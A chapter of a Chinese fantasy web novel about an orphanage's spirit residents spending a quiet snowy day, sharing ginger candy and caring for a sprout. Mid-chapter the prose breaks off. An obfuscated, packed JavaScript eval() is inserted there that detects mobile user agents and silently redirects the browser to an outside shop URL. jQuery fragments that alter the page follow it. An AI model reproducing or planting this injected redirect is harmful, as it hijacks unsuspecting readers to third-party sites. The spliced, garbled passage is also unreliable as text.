雪下了一整夜，到第二天早上才停。
林小满推开门的时候，院子里的雪积了厚厚一层，把门槛都埋了一半。老枣树的枝丫被雪压得低垂着，偶尔有一团雪从枝头滑落，砸在地上闷闷地响一声。空气冷得发脆，呼出的白雾能在面前凝好几秒才散。她裹着外套走到院子中间，脚踩进雪里发出咯吱咯吱的声响，雪面直接没过了脚踝。
陶陶今天没有第一个冲出来。他裹在被窝里不肯起床，被胡离连人带被子抱到厨房灶台旁边才睁开眼，嘟囔着说“今天不用出门吧”。书书早就起来了，蹲在廊下检查昨天晾在竹架上的灵纸——他昨晚睡觉前把竹架搬到了廊下最里面，上面还搭了一层防雪布，今天掀开一看，灵纸干干爽爽的，一张没湿。他满意地把布重新盖好，然后去厨房帮忙烧水。
小榆蹲在枣树底下他的扎根位上，根须伸在土里没有收回来。他昨晚一整夜都没有收根须。林小满走过去看了看他，他蹲在雪地里，头发上、肩膀上落了一层薄薄的雪，但整个人看起来并不冷。他的根须在土层深处，雪面以下的位置，和绿芽的根须碰在一起，安安静静地待着。绿芽的四片叶子上积了一小团雪，雪面底下能看见叶尖透出来的一点点绿，像藏在被子里不肯出来的小孩。
“你昨晚没回屋？”林小满蹲下来。
小榆点了点头，呼出一团白雾：“雪下的时候我感觉到地底下有动静。不是坏事，但得看着。绿芽太小了，怕它冻着。我给它暖了一夜。”他偏头看了一眼绿芽方向，叶子上那团雪安安静静的，“现在它没事了。叶子里面的水分没冻，根也是热的。”
林小满伸手碰了碰绿芽的叶子。叶子表面凉凉的，但叶脉深处确实有一种极细微的、被什么东西从内部暖着的触感，和小榆手指尖树皮纹路亮着的时候一样的温度。她收回手，拍了拍小榆肩膀上的雪：“进屋暖和暖和。今天不用出门。”
早饭桌上比平时安静。窗外的雪光从窗纸透进来，把整间厨房照得格外亮堂。陶陶捧着粥碗缩在灶台旁边，喝一口粥看一眼窗外，喝完一碗之后终于活过来了，开始问“雪人怎么堆”“绿芽会不会冷”“小暖能不能在雪里滚”。胡离往灶膛里又添了一根柴，火上来了，厨房里暖烘烘的。白泽坐在角落的凳子上喝粥，鹿角金光在灶火映照下温润地亮着，偶尔偏头看一眼窗外。小暖蹲在灶台边的暖光垫上，暖光和灶火融在一起，把整个厨房照得比平时暖了一个度。
吃到一半的时候，院门外响起了邮递员的声音。书书跑出去接了一封信和一个包裹。信是银杏先生寄来的，包裹也是。他抱着东西跑回厨房，把信拆开来看。信很短，只有一页纸，说南城前几天下了一场冷雨，榕树叶子落了不少，他在旧书库又找到了一些和姜修行者有关的零碎记录，下次一并寄来。信末写了一句“天冷了，给你们寄了点东西，不大，收到就知道了”。书书把信递给白泽看，然后拆开了那个包裹。
包裹不大，用牛皮纸包着，拆开来里面是一包东西和一张字条。东西是南城当地的姜糖，切成了整齐的小块，表面裹着一层薄薄的糖霜。字条上写着：“南城冬天湿冷，姜糖暖胃。给陶陶的。另外附了一小包给绿芽的过冬肥，我自己沤的，不臭。”书书从包裹底下翻出一个小布袋，袋口扎着麻绳，里面是深褐色的粉末，确实不臭，有一股淡淡的草木发酵后的清甜味。小榆凑过来闻了闻，点了点头：“是好东西。可以给绿芽。下雪天正好用。”
陶陶已经拆开姜糖的袋子了。他拿了一块塞进嘴里，嚼了两下眼睛就亮了，腮帮子鼓着冲书书竖了个大拇指。书书自己也吃了一块，辣得直吸气但没吐出来。白泽拿了一块尝了尝，没说什么，但伸手又拿了一块。胡离含着姜糖喝粥，评价是“比上次那个酸梅汤带劲”。
林小满把那包姜糖分出一半装进罐子里收好，另一半留在桌上大家吃。她把给绿芽的过冬肥交给小榆，小榆拿着布袋跑到枣树底下蹲下来，小心地把粉末撒在绿芽根部的雪面上。撒完之后他把手掌贴在那块雪面上，根须伸进土里和绿芽碰了碰，然后回来说：“它感觉到了。暖的。”
那天上午全员没有出门。雪停了但天还阴着，院子里白茫茫的一片。胡离在厨房检修了水管和灶台，又检查了院墙有没有被雪压出裂缝。书书在廊下把灵纸从竹架上取下来收进屋里，重新清点了一遍库存。陶陶在院子里堆了一个歪歪扭扭的雪人，用两颗小石子当眼睛，用一根枯枝当鼻子，然后把自己的帽子摘下来扣在雪人头顶，退后两步看了看，满意地点了点头。小榆蹲在雪人旁边看了一会儿，伸出指尖碰了碰雪人的“手臂”——那根枯枝。枯枝表面覆着一层薄雪，但底下的木质还带着树的气息。小榆闭了闭眼，收回手说：“它以前是槐树的枝。去年春天被风吹断的。”陶陶听完之后盯着那根枯枝看了好一会儿，然后小声说了一句“那你好好站着吧”，再没拿掉它。
中午胡离煮了一锅面片汤，里面放了白菜和几片腊肉。全员围坐在厨房里，灶台烧得旺，窗玻璃上的雾气凝了一层又一层。陶陶吃了两碗，鼻尖冒了汗，跑到院子里抓了一把雪回来攥在手里玩。书书吃完之后把银杏先生的信又看了一遍，然后拿出信纸开始写回信。小榆蹲在灶台旁边，根须贴着地面没有伸进土
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17943844|214012||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
里，像是在感受灶台底下的暖意。小暖从暖光垫上滚到灶台边，暖光映着灶膛里的火光，把整间厨房照得暖融融的。
下午雪又开始飘了。胡离看了一眼窗外，说了一句“晚上得把绿芽那边的雪再清一次，别压折了叶子”。小榆摇了摇头：“不用清。雪是暖的。它自己能顶住。”胡离看了他一眼，点了点头，没再说什么。书书在廊下给银杏先生写回信，写到一半的时候陶陶凑过来要写，书书给了他一张废纸和一支铅笔，陶陶趴在门槛上歪歪扭扭地写了“谢谢”两个字，然后画了一个歪脸的小人。书书看了一眼那个小人，把它夹进了信封里。
傍晚的时候林小满去杂物间给小暖的罐子换垫纸。小暖蹲在罐子旁边陪她，暖光比早上亮了一些，核心处的淡金色底晕在渐渐暗下来的光线里显得格外柔和。林小满换完纸抬头的时候，透过杂物间的小窗看见院子里白茫茫的雪地、歪歪扭扭的雪人、枣树低垂的枝丫，还有小榆蹲在枣树底下的背影。白泽从偏房门口走出来，手里端着一杯热水，站在廊下看着院子里的雪景。他没有走到雪里，只是站在檐下，鹿角金光在灰白色的天光里温润地亮着。林小满把罐子放好，站起来走到他旁边。两个人并排站着看了一会儿院子里的雪。
“银杏先生寄来的姜糖还有剩吗？”白泽问。
“有。在厨房罐子里。”
“明天给老榆树那边也带点。虽然它不吃，但可以撒在树根旁边。”
林小满偏头看了他一眼，嘴角弯了一下。她没有说什么，只是点了点头。雪落在廊檐上，落在枣树的枝丫上，落在绿芽的叶子上，落在那座歪歪扭扭的雪人的帽子上，声音很轻很密。厨房里灶膛的火光从窗纸透出来，暖色的光映在雪地上，把整座院子染了一层淡淡的暖金。
夜深了，雪还在下。福利院的灯一盏一盏熄了。小榆蹲在枣树底下他的扎根位上，根须伸进土里和绿芽碰着。绿芽的四片叶子上积了新的雪，但叶子在雪底下安静地绿着。小暖蜷在杂物间的罐子里，光核在它旁边亮着。白泽站在偏房门口看了一眼院子——雪把一切都盖住了，老枣树、绿芽、小榆的扎根位、陶陶的雪人、书书的竹架，全都覆在一层安静的白下面。他把门带上，留了一道缝。门缝里的光落在走廊地面上，和杂物间透出来的暖光在走廊中间碰上了，融成一片浅浅的亮。
院子里很安静。雪落在枣树的枝丫上，落在绿芽的叶子上，落在走廊的屋檐上，声音很轻很密，像有什么东西在夜里安安静静地呼吸。枣树根底下，绿芽的第四片叶子在雪层的覆盖下微微动了一下，像是翻了个身，继续睡了。